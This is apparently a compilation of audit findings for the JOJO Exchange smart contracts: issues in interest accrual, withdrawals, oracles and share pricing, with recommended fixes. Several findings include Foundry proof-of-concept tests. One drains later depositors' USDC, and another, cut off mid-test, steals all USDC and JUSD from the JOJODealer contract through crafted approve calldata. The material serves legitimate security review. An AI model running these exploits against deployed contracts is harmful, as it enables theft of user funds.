uint256 index = fundingRateArbitrage.requestWithdraw(userDepositAmount);
vm.stopPrank();
vm.startPrank(Owner);
uint256[] memory indexs = new uint256[](1);
indexs[0] = index;
fundingRateArbitrage.permitWithdrawRequests(indexs);
vm.stopPrank();
}
T1MOH - After withdraw user can be subject to immediate liquidation
T1MOH
medium
After withdraw user can be subject to immediate liquidation
Summary
Issue arises from different formulas that are used in health check after withdraw and in liquidation.
Vulnerability Detail
Here you can see that accrueRate()
compounds interest on every call, while getTRate()
calculates plain interest:
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
function getTRate() public view returns (uint256) {
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
To show you they return different values, suppose tRate = 2, timeDifference = 1 year, borrowFeeRate = 10%. accrueRate()
will calculate 2 * (1 * 10% / 1 + 1) = 2.2
.
At the same time getTRate()
will calculate 2 + (1 * 10% / 1) = 2.1
.
Impact
User can be immediately liquidated after collateral withdrawal.
In withdraw it uses getTRate()
to check health:
function withdraw(
address collateral,
uint256 amount,
address to,
bool isInternal
)
external
override
nonReentrant
nonFlashLoanReentrant
{
Types.UserInfo storage user = userInfo[msg.sender];
_withdraw(amount, collateral, to, msg.sender, isInternal);
uint256 tRate = getTRate();
@> require(_isAccountSafe(user, tRate), Errors.AFTER_WITHDRAW_ACCOUNT_IS_NOT_SAFE);
}
But in liquidation it accrues rate, which makes tRate higher that it was checked before in withdraw()
:
function liquidate(
address liquidated,
address collateral,
address liquidator,
uint256 amount, //@note ััะพ ัะบะพะปัะบะพ ะปะธะบะฒะธะดะฐัะพั ั
ะพัะตั ะฟะพะปััะธัั ะบะพะปะปะฐัะตัะฐะปะฐ
bytes memory afterOperationParam,
uint256 expectPrice
)
external
override
//@audit ะฝะตะผะฝะพะณะพ ัััะฐะฝะฝะพ - ะผะพะถะฝะพ ะปะธะบะฒะธะดะธัะพะฒะฐัั ะฟะพะด ะฒะธะดะพะผ ะดััะณะพะณะพ ัะทะตัะฐ
isValidOperator(msg.sender, liquidator)
nonFlashLoanReentrant
returns (Types.LiquidateData memory liquidateData)
{
@> accrueRate();
...
}
To sum up, if user withdraws collateral near liquidation threshold, it will be liquidated immediately because health check and liquidate use different formulas to calculate tRate - health check underestimates tRate.
Code Snippet
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBankStorage.sol#L63-L66
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBank.sol#L130-L162
Tool used
Manual Review
Recommendation
Refactor getTRate()
:
function getTRate() public view returns (uint256) {
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
- return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+ return tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
}
Duplicate of #1
bareli - borrowFeeRate is never initialized
bareli
high
borrowFeeRate is never initialized
Summary
borrowFeeRate is neverinitialized and it has been used in accrueRate() and getTRate()..
Vulnerability Detail
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
function getTRate() public view returns (uint256) {
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
}
Impact
output will always be zero.
Code Snippet
Tool used
Manual Review
Recommendation
lil.eth - front-runnable Fund allocation to Operators
lil.eth
medium
front-runnable Fund allocation to Operators
Summary
The approveFundOperator()
function in Operation.sol set directly the approvals for primaryCreditAllowed
and secondaryCreditAllowed
to the amounts specified in the function parameters without any checks against the previous approvals. This lack of validation can lead to scenarios where an operator's approval can be escalated without proper tracking or limitation.
Vulnerability Detail
function approveFundOperator(Types.State storage state, address client,address operator,uint256 primaryAmount, uint256 secondaryAmount) external
{
state.primaryCreditAllowed[client][operator] = primaryAmount;
state.secondaryCreditAllowed[client][operator] = secondaryAmount;
emit FundOperatorAllowedChange(client, operator, primaryAmount, secondaryAmount);
}
The vulnerability lies in the direct assignment of primaryAmount
and secondaryAmount
to primaryCreditAllowed
and secondaryCreditAllowed
respectively, without checking or comparing against the existing approved amounts.
POC
- Let's say Alice has an approval of 100 primaryCredit from Bob :
state.primaryCreditAllowed[Bob][Alice] = 100
- When she's approved 100
primaryCredit
Alice directly uses Funding.sol#requestWithdraw(100) to create a request to withdraw 100primaryCredit
tokens that will be valid afterblock.timestamp + state.withdrawTimeLock
- After some days, Bob wants to reduce
primaryCredit
allowed to Alice to 50 - Alice frontrun Bob's call to
approveFundOperator()
, withdraw 100primaryCredit
token ,state.primaryCreditAllowed[Bob][Alice]
is decreased to0
- Bob's call to
approveFundOperator()
is executed, then Alice has 50 newprimaryToken
to use as she wants.
Impact
An approved operator becoming malicious may be able to use/withdraw more tokens than intended
Code Snippet
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Operation.sol#L124
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L69
Tool used
Manual Review
Recommendation
Instead of setting the given amount, sponsor can reduce from the current allowed funds, checking by the way whether the previous allowance is spend or not.
bareli - no check for same decimal for primary and secondary.
bareli
medium
no check for same decimal for primary and secondary.
Summary
it has been mention that secondary assert must have same decimal as primary asset.
Vulnerability Detail
/// @notice Secondary asset can only be set once.
/// Secondary asset must have the same decimal with primary asset.
function setSecondaryAsset(address _secondaryAsset) external onlyOwner {
Operation.setSecondaryAsset(state, _secondaryAsset);
Impact
Code Snippet
Tool used
Manual Review
Recommendation
AuditorPraise - approveTarget may not == swapTarget
AuditorPraise
medium
approveTarget may not == swapTarget
Summary
approveTarget may not == swapTarget for some DEXES, this may cause issues with approval as the DepositStableCoinToDealer.sol contract only approves approveTarget for swaps.
In a situation where approveTarget != swapTarget, swapTarget isnt approved to do swaps in DepositStableCoinToDealer.depositStableCoin()
Vulnerability Detail
see summary.
An example of such dexes that approveTarget may not == swapTarget is DODO. There could still be some other ones too.
Impact
In a situation where approveTarget != swapTarget, swapTarget isn't approved to do swaps in DepositStableCoinToDealer.depositStableCoin()
The DepositStableCoinToDealer.depositStableCoin() function may revert due to lack of approval.
Code Snippet
Tool used
Manual Review
Recommendation
check with an if statement whether approveTarget != swapTarget, then approve swapTarget too.
Ignite - The first depositor of FundingRateArbitrage contract can drain all users' USDC
Ignite
high
The first depositor of FundingRateArbitrage contract can drain all users' USDC
Summary
A malicious first depositor can benefit from subsequent deposits, causing later depositors to lose part or all of their funds to the attacker.
Vulnerability Detail
The getIndex()
function is used to return the ratio between netValue()
and totalEarnUSDCBalance
. If the totalEarnUSDCBalance
is zero, it returns a default value of 1e18
. Otherwise, it computes the index by dividing the net value of the system by the total earned USDC balance.
function getIndex() public view returns (uint256) {
if (totalEarnUSDCBalance == 0) {
return 1e18;
} else {
return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance);
}
}
Anyone can call the deposit()
function to increase the totalEarnUSDCBalance
value. Subsequently, when the getIndex()
function is invoked, it returns the ratio between getNetValue()
and totalEarnUSDCBalance()
.
function deposit(uint256 amount) external {
require(amount != 0, "deposit amount is zero");
uint256 feeAmount = amount.decimalMul(depositFeeRate);
if (feeAmount > 0) {
amount -= feeAmount;
IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
}
uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
IERC20(usdc).transferFrom(msg.sender, address(this), amount);
JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
earnUSDCBalance[msg.sender] += earnUSDCAmount;
jusdOutside[msg.sender] += amount;
totalEarnUSDCBalance += earnUSDCAmount;
require(getNetValue() <= maxNetValue, "net value exceed limitation");
uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}
By transferring USDC directly to the contract, these funds are summed up as the net value in the system, resulting in an increase in the net value.
function getNetValue() public view returns (uint256) {
uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
(int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
return
SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
}
With an incorrectly high net value, the amount.decimalDiv(getIndex());
at line 265 will experience a loss of precision, requiring a substantial deposit of a huge amount to gain some earnUSDCBalance
for the depositor.
function deposit(uint256 amount) external {
require(amount != 0, "deposit amount is zero");
uint256 feeAmount = amount.decimalMul(depositFeeRate);
if (feeAmount > 0) {
amount -= feeAmount;
IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);
}
uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
IERC20(usdc).transferFrom(msg.sender, address(this), amount);
JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
earnUSDCBalance[msg.sender] += earnUSDCAmount;
jusdOutside[msg.sender] += amount;
totalEarnUSDCBalance += earnUSDCAmount;
require(getNetValue() <= maxNetValue, "net value exceed limitation");
uint256 quota = maxUsdcQuota[msg.sender] == 0 ? defaultUsdcQuota : maxUsdcQuota[msg.sender];
require(earnUSDCBalance[msg.sender].decimalMul(getIndex()) <= quota, "usdc amount bigger than quota");
emit DepositToHedging(msg.sender, amount, feeAmount, earnUSDCAmount);
}
The first depositor could deposit only 1 wei of USDC, manipulate the net value by directly transferring some small amount of USDC to the contract, and then deposit a substantial amount of USDC to gain the earnUSDCBalance
.
When the next depositor makes a deposit, their earnUSDCBalance
value will encounter precision loss, and the USDC will be aggregated as part of the net value of the system. Consequently, the attacker will profit from this USDC.
Furthermore, the attacker can easily front-run this transaction to execute the attack.
Please add this test to FundingRateArbitrageTest.t.sol
to showcase the exploit.
forge test --mt test_firstDepositorStealOtherUserFund -vv
function test_firstDepositorStealOtherUserFund() public {
/// setWithdrawSettleFee
vm.startPrank(Owner);
fundingRateArbitrage.setWithdrawSettleFee(2e6);
vm.stopPrank();
/// mint for Alice 10,000 USDC and mint for Bob 100 USDC
USDC.mint(address(alice), 10_000e6);
USDC.mint(address(bob), 100e6);
uint256 aliceBalanceBefore = USDC.balanceOf(address(alice));
vm.startPrank(alice);
USDC.approve(address(fundingRateArbitrage), 10_000e6);
/// Alice makes her initial deposit to ensure that the totalEarnUSDCBalance is not equal to zero.
fundingRateArbitrage.deposit(1);
/// Alice transfer 100 USDC to the FundingRateArbitrage contract directly to increase getNetValue()
USDC.transfer(address(fundingRateArbitrage), 100e6);
uint aliceAmt = 8_000e6; // 8,000 USDC
/// Alice deposited with huge amount of USDC
fundingRateArbitrage.deposit(aliceAmt);
/// Request for withdraw
jojoDealer.requestWithdraw(alice, 0, aliceAmt);
vm.warp(100);
jojoDealer.executeWithdraw(alice, alice, false, "");
jusd.approve(address(fundingRateArbitrage), aliceAmt);
uint256 index = fundingRateArbitrage.requestWithdraw(aliceAmt);
vm.stopPrank();
uint bobAmt = 100e6; // 100 USDC
vm.startPrank(bob);
USDC.approve(address(fundingRateArbitrage), bobAmt);
/// Bob calls deposit() normally with 100 USDC
fundingRateArbitrage.deposit(bobAmt);
vm.stopPrank();
/// Permit withdraw request by Owner
vm.startPrank(Owner);
uint256[] memory indexs = new uint256[](1);
indexs[0] = index;
fundingRateArbitrage.permitWithdrawRequests(indexs);
vm.stopPrank();
/// Now, the 100 USDC in Bob's FundingRateArbitrage contract has been drained to Alice
uint256 aliceBalanceAfter = USDC.balanceOf(address(alice));
uint256 fundingRateArbitrageBalance = USDC.balanceOf(address(fundingRateArbitrage));
assertGt(aliceBalanceAfter, aliceBalanceBefore);
assertEq(fundingRateArbitrageBalance, 0);
console.log("Alice's USDC:", USDC.balanceOf(address(alice)));
console.log("Bob's USDC:", USDC.balanceOf(address(bob)));
console.log("FundingRateArbitrage's USDC:", USDC.balanceOf(address(fundingRateArbitrage)));
console.log("totalEarnUSDC:", fundingRateArbitrage.totalEarnUSDCBalance());
}
Impact
The first depositor has the ability to take away a portion or all of the USDC that other users have deposited into the FundingRateArbitrage
contract.
Code Snippet
Tool used
Manual Review
Recommendation
I suggest the team be the first depositor when deploying the contract.
Duplicate of #54
joicygiore - The `FundingRateArbitrage` contract function has not yet been developed,Users are not able to earn interest as expected
joicygiore
medium
The FundingRateArbitrage
contract function has not yet been developed,Users are not able to earn interest as expected
Summary
The functions related to Convenience: Users only need to deposit funds into the JOJO platform to enjoy the automated funding rate arbitrage service without the need for complex calculations and operations. in the FundingRateArbitrage
contract have not yet been developed
Vulnerability Detail
mapping(address => uint256) public earnUSDCBalance;
mapping(address => uint256) public jusdOutside;
mapping(address => uint256) public maxUsdcQuota;
The above variables in the contract are used to save the user's fund status, but by checking all funcitons in the contract and testing, it is found that the Convenience: Users only need to deposit funds into the JOJO platform to enjoy the automated funding rate arbitrage service without the need for complex calculations and operations.,LPs can deposit USDC into the arbitrage pool via the deposit function, earning interest. introduced in the official documentation is not implemented in the source code of the contract.
Impact
The contract functionality is not yet complete
Code Snippet
Tool used
Manual Review
Recommendation
Improve the relevant features described in the documentation
T1MOH - Users pay additional interest due to the way interest accrues
T1MOH
high
Users pay additional interest due to the way interest accrues
Summary
In it's calculation protocol uses compound formula of calculating tRate
.
How protocol tracks interest of borrowed JUSD? It writes t0Amount
, t0Amount = actualAmount / tRate
. Then tRate increases and on the moment of repay debt is calculated as t0Amount * tRate
.
Suppose current situation:
- Day 1 of protocol alive,
tRate = 1
,borrowFeeRate = 0.2
which means 20% a year - User borrows 100 JUSD, his
t0Amount
is100 / 1 = 100
- Year passes, now
accrueRate()
is called.tRate = 1 * (0.2 + 1) = 1.2
. It means that now hi owes100 * 1.2 = 120 JUSD
, accrued interest is 20 JUSD.
But now instead consider that accrueRate()
was called 40 times with equal gaps during a year. In this case tRate = (1 + 0.2 / 40) ^ 40 = 1.2207
, accrued interest is 22 JUSD which is 10% more interest than in previous example: 0.22 vs 0.2
Problem is that current implementation depends on frequency of calling accrueRate()
Vulnerability Details
Here you can see the way formula is implemented. Note that accrueRate()
is supposed to be called very frequently: on every borrow, repay and liquidate.
function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}
Impact
User pays more interest than intended, for example extra 10% in above scenario
Code Snippet
Tool used
Manual Review
Recommendation
Used formula to accrue interest must be independent of update frequency. For example you can use Taylor expansion to calculate compound interest
Homebrew - Potential exploitations for the JOJOOracleAdaptorWstETH contract.
Homebrew
high
Potential exploitations for the JOJOOracleAdaptorWstETH contract.
Summary
Invalid Chainlink aggregator address
Vulnerability Detail
The Chainlink aggregator address is not validated to be a valid Chainlink contract.
Impact
Attacker can set the address to a malicious contract to provide false price data.
IChainlink(chainlink).latestRoundData()
Code Snippet
address public immutable chainlink;
constructor(address _source, ...) {
chainlink = _source;
}
function getAssetPrice() external view returns (uint256) {
(,,int256 price,,uint256 updatedAt,) = IChainlink(chainlink).latestRoundData();
// ...
}
Tool used
Manual Review
Recommendation
Validate that chainlink address is a Chainlink AggregatorV3Interface contract on deployment:
constructor(address _source, ...) {
require(IAggregatorV3Interface(_source).decimals() >= 0, "Invalid chainlink");
chainlink = _source;
}
cawfree - Signature Replay: `JOJOStorage` caches the `DOMAIN_SEPARATOR` in the constructor.
cawfree
medium
Signature Replay: JOJOStorage
caches the DOMAIN_SEPARATOR
in the constructor.
Summary
A cached domainSeparator
can lead to replay attacks on a hard-forked chain.
Vulnerability Detail
As a gas optimization, the domainSeparator
is cached in the constructor of JOJOStorage
under the expectation that the block.chainId
cannot change.
However, in the instance of a chain fork, the result would be two independent protocol instances which share common signature namespace digests, causing a single signature to satisfy domain separation checks on two separate domains.
Impact
This issue is commonly assessed as medium in severity.
The upcoming ArbOS upgrade indicates that the Arbitrum Foundation intend to adopt the design philosophy of hard forks, which historically result in the creation of two parallel chains, instead of the chain-death of the original rules chain.
Code Snippet
constructor() Ownable() {
domainSeparator = EIP712._buildDomainSeparator("JOJO", "1", address(this));
}
Tool used
Manual Review
Recommendation
The domainSeparator
should be computed dynamically where needed.
bareli - Missing JOJOStorage Import:
bareli
medium
Missing JOJOStorage Import:
Summary
Missing JOJOStorage Import: The comment mentions a JOJOStorage contract for data structure, but it's not explicitly imported. If JOJOStorage is a contract that should be inherited, it needs to be imported and listed in the contract inheritance list.
Vulnerability Detail
/// data structure -> JOJOStorage
contract JOJODealer is JOJOExternal, JOJOOperation, JOJOView {
constructor(address _primaryAsset) JOJOStorage() {
state.primaryAsset = _primaryAsset;
}
Impact
Code Snippet
Tool used
Manual Review
Recommendation
import JOJOStorage
import "./JOJOStorage.sol";
bareli - Input Validation
bareli
medium
Input Validation
Summary
Input Validation: The function updateFundingRate assumes that the lengths of perpList and rateList are equal and does not perform any checks to ensure this. Malicious input could cause the function to revert or behave unexpectedly.
Vulnerability Detail
function updateFundingRate(address[] calldata perpList, int256[] calldata rateList) external onlyOwner {
for (uint256 i = 0; i < perpList.length;) {
address perp = perpList[i];
int256 oldRate = IPerpetual(perp).getFundingRate();
uint256 maxChange = getMaxChange(perp);
@> require((rateList[i] - oldRate).abs() <= maxChange, "FUNDING_RATE_CHANGE_TOO_MUCH");
fundingRateUpdateTimestamp[perp] = block.timestamp;
unchecked {
++i;
}
}
IDealer(dealer).updateFundingRate(perpList, rateList);
}
Impact
Code Snippet
Tool used
Manual Review
Recommendation
use a require statement for the array length verification.
rvierdiiev - Share price manipulation by first depositor in FundingRateArbitrage
rvierdiiev
high
Share price manipulation by first depositor in FundingRateArbitrage
Summary
First depositor in FundingRateArbitrage can increased share price in order to make next depositors loss funds in favor to attacker.
Vulnerability Detail
First depositor in FundingRateArbitrage contract will get index as e18. This means that he can provide 1 unit of usdc and make totalEarnUSDCBalance
to be 1 as well.
When totalEarnUSDCBalance != 0
, then getNetValue
function is called to calculate funds controlled by contract. Then this amount is divided by all shares, to get index.
function getNetValue() public view returns (uint256) {
uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
(int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
return
SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
}
There are different ways for attacker to donate funds to the FundingRateArbitrage contract and one of them is just to send usdc directly.
In case if attacker will donate big amount of funds to the FundingRateArbitrage, then he will increase the index price.
And when next depositor will call deposit
, then because if large index price, he can get 0 earnUSDCAmount
. After that totalEarnUSDCBalance
do not change, but getNetValue
increases, which means that index price has increased and attacker has gained profit.
Impact
Attacker can earn profit by increasing share price.
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Make sure first depositor does not small deposit.
Duplicate of #54
Homebrew - Possible Integer Overflow on smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol
Homebrew
medium
Possible Integer Overflow on smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol
Summary
Possiblility to make a Integer Overflow
Vulnerability Detail
No checks for integer overflows and underflows in price calculations.
Impact
Incorrect token pricing, economic exploits.
Code Snippet
uint256 tokenPrice = ((SafeCast.toUint256(price)
* SafeCast.toUint256(ETHPrice)) / Types.ONE) / 1e8;
Tool used
Manual Review
Recommendation
Use OpenZeppelin SafeMath for overflow protection:
using SafeMath for uint256;
uint256 tokenPrice = (price.toUint256().mul(ETHPrice))
.div(Types.ONE.mul(1e8));
bughuntoor - Adversary can DoS all users from regular withdraws
bughuntoor
high
Adversary can DoS all users from regular withdraws
Summary
Adversary can DoS all users from regular withdraws
Vulnerability Detail
In JOJODealer
, whenever users would like to withdraw, they'd have to first request a withdraw and then after withdrawTimelock
passes, they can call executeWithdraw
.
function requestWithdraw(
Types.State storage state,
address from,
uint256 primaryAmount,
uint256 secondaryAmount
)
external
{
require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
}
In order for a withdraw request to succeed, it needs to pass the isWithdrawValid
function isWithdrawValid(
Types.State storage state,
address spender,
address from,
uint256 primaryAmount,
uint256 secondaryAmount
)
internal
view
returns (bool)
{
return spender == from
|| (
state.primaryCreditAllowed[from][spender] >= primaryAmount
&& state.secondaryCreditAllowed[from][spender] >= secondaryAmount
);
}
The problem here is that the request allows for both primaryAmount
and secondaryAmount
to be exactly 0. Any user can call requestWithdraw
for another user with both values being 0 and the check above would pass, effectively overwriting any current request.
A malicious user could back-run any withdraw request with such 0 values and overwrite it, basically cancelling it.
Impact
Adversary can fully DoS regular withdraws.
Code Snippet
Tool used
Manual Review
Recommendation
Upon requesting a withdraw, check that at least one of the values is non-zero.
Duplicate of #53
joicygiore - `UniswapPriceAdaptor::getPrice()`must default to `EmergencyOracle::turnOn() == true`, otherwise the program will not execute properly. Failure to update the `EmergencyOracle(priceFeedOracle).getMarkPrice()` data in a timely manner further causes the program to revert
joicygiore
medium
UniswapPriceAdaptor::getPrice()
must default to EmergencyOracle::turnOn() == true
, otherwise the program will not execute properly. Failure to update the EmergencyOracle(priceFeedOracle).getMarkPrice()
data in a timely manner further causes the program to revert
Summary
UniswapPriceAdaptor::getPrice()
defaults to EmergencyOracle::turnOn() == true
, otherwise the program will not be executed normally.
Vulnerability Detail
if EmergencyOracle::turnOn()
is closed, when UniswapPriceAdaptor::getPrice()
will revert the emergency oracle is close
. The program must ensure that EmergencyOracle::turnOn()
is turned on and that EmergencyOracle::setMarkPrice()
is called at all times to update the price,Failure to update prices in a timely manner may revert deviation is too big
.
UniswapPriceAdaptor::getPrice()
function getPrice() internal view returns (uint256) {
uint256 uniswapPriceFeed = IStaticOracle(UNISWAP_V3_ORACLE).quoteSpecificPoolsWithTimePeriod(
uint128(10 ** decimal), baseToken, quoteToken, pools, period
);
uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
uint256 diff =
jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
return uniswapPriceFeed;
}
EmergencyOracle::getMarkPrice()
function getMarkPrice() external view returns (uint256) {
require(turnOn, "the emergency oracle is close");
return price;
}
Impact
UniswapPriceAdaptor::getPrice()
must default to EmergencyOracle::turnOn() == true
, otherwise the program will not execute properly. Failure to update the EmergencyOracle(priceFeedOracle).getMarkPrice()
data in a timely manner further causes the program to revert
Code Snippet
Tool used
Manual Review
Recommendation
UniswapPriceAdaptor contract Add a switch
contract UniswapPriceAdaptor is Ownable {
IStaticOracle public immutable UNISWAP_V3_ORACLE;
address public immutable baseToken;
address public immutable quoteToken;
address public priceFeedOracle;
uint256 public impact;
uint32 public period;
uint8 public decimal;
address[] public pools;
+ bool public isSelfOracle;
event UpdatePools(address[] oldPools, address[] newPools);
event UpdatePeriod(uint32 oldPeriod, uint32 newPeriod);
event UpdateImpact(uint256 oldImpact, uint256 newImpact);
constructor(
address _uniswapAdaptor,
uint8 _decimal,
address _baseToken,
address _quoteToken,
address[] memory _pools,
uint32 _period,
address _priceFeedOracle,
uint256 _impact
) {
UNISWAP_V3_ORACLE = IStaticOracle(_uniswapAdaptor);
decimal = _decimal;
baseToken = _baseToken;
quoteToken = _quoteToken;
pools = _pools;
period = _period;
priceFeedOracle = _priceFeedOracle;
impact = _impact;
}
- function getPrice() internal view returns (uint256) {
+ function getUniswapPrice() internal view returns (uint256) {
uint256 uniswapPriceFeed = IStaticOracle(UNISWAP_V3_ORACLE).quoteSpecificPoolsWithTimePeriod(
uint128(10 ** decimal), baseToken, quoteToken, pools, period
);
- uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
- uint256 diff =
- jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
- require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
return uniswapPriceFeed;
}
+ function getPrice() internal view returns (uint256) {
+ uint256 uniswapPriceFeed = getUniswapPrice();
+ if (isSelfOracle) {
+ uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
+ uint256 diff =
+ jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
+ require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
+ return uniswapPriceFeed;
+ } else {
+ return uniswapPriceFeed;
+ }
+ }
function getMarkPrice() external view returns (uint256 price) {
price = getPrice();
}
function getAssetPrice() external view returns (uint256 price) {
price = getPrice();
}
function updatePools(address[] memory newPools) external onlyOwner {
emit UpdatePools(pools, newPools);
pools = newPools;
}
function updatePeriod(uint32 newPeriod) external onlyOwner {
emit UpdatePeriod(period, newPeriod);
period = newPeriod;
}
function updateImpact(uint256 newImpact) external onlyOwner {
emit UpdateImpact(impact, newImpact);
impact = newImpact;
}
+ function turnOnJOJOOracle() external onlyOwner {
+ isSelfOracle = true;
+ }
+ function turnOffJOJOOracle() external onlyOwner {
+ isSelfOracle = false;
+ }
}
0xhashiman - An attacker can steal all USDC and JUSD from JOJODealer contract
0xhashiman
high
An attacker can steal all USDC and JUSD from JOJODealer contract
Summary
The JOJODealer contract inherits from JOJOExternal, JOJOOperation, and JOJOView, thereby gaining access to all functions defined in these contracts. Our focus is specifically on the JOJOExternal contract, which exposes the Funding library and allows users to interact with functions such as deposit(), requestWithdraw(), and executeWithdraw(). In these primary functions, we simply invoke the corresponding functions from the Funding library without introducing any modifications.
The issue arises in the executeWithdraw() function, where we trust user-supplied parameters. This trust will enable a malicious actor to steal all funds within the JOJODealer contract.
Vulnerability Detail
As JOJODealer serves as a hub for various traders executing diverse actions, the contract accumulates substantial balances in both USDC and JUSD. The critical concern lies in the executeWithdraw() function, which calls Funding.executeWithdraw(). In both functions, there is a lack of validation for various inputs. This deficiency creates an opportunity for a malicious actor to craft a transaction with malicious parameters, draining the contract, and the contract will accept it without proper verification.
Here is a POC example below to illustrate this issue and demonstrate how it can manifest:
Add this test in DealerFundTest.sol and run it with
forge test --match-test testExecuteWithdrawCraftedToStealTokens -vvvvv
function testExecuteWithdrawCraftedToStealTokens() public {
vm.startPrank(traders[0]);
jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]); // Normal trader[0] making a deposit withou any issue
vm.stopPrank();
vm.startPrank(traders[1]);
jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
vm.stopPrank();
vm.startPrank(traders[2]);
jojoDealer.deposit(100_000e6, 100_000e6, traders[2]); // Normal trader[2] making a deposit withou any issue
jojoDealer.deposit(100_000e6, 100_000e6, traders[2]); // Normal trader[2] making a deposit withou any issue
vm.stopPrank();
vm.startPrank(traders[0]);
jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6); // Normal trder[0] requesting withdraw till now all the system is working fine
vm.stopPrank();
address hacker = vm.addr(10000000000000000);
vm.startPrank(hacker);
jojoDealer.executeWithdraw(hacker, address(jusd), false,
abi.encodeWithSignature("approve(address,uint256)", address(hacker), type(uint256).max)
); // we can call this function even though we didnt deposit with any address and param the contract doesnt check
jojoDealer.executeWithdraw(hacker, address(usdc), false,
abi.encodeWithSignature("approve(address,uint256)", address(hacker), type(uint256).max)
); // we can call this function even though we didnt deposit with any address and param the contract doesnt check
jusd.transferFrom(address(jojoDealer), hacker, jusd.balanceOf(address(jojoDealer))); //after approval we can withdraw all jusd balance of jojoDealer
usdc.transferFrom(address(jojoDealer), hacker, usdc.balanceOf(address(jojoDealer))); //after approval we can withdraw all usdc balance of jojoDealer
jusd.balanceOf(address(jojoDealer)); //This will be 0 since the hacker holds now all the tokens
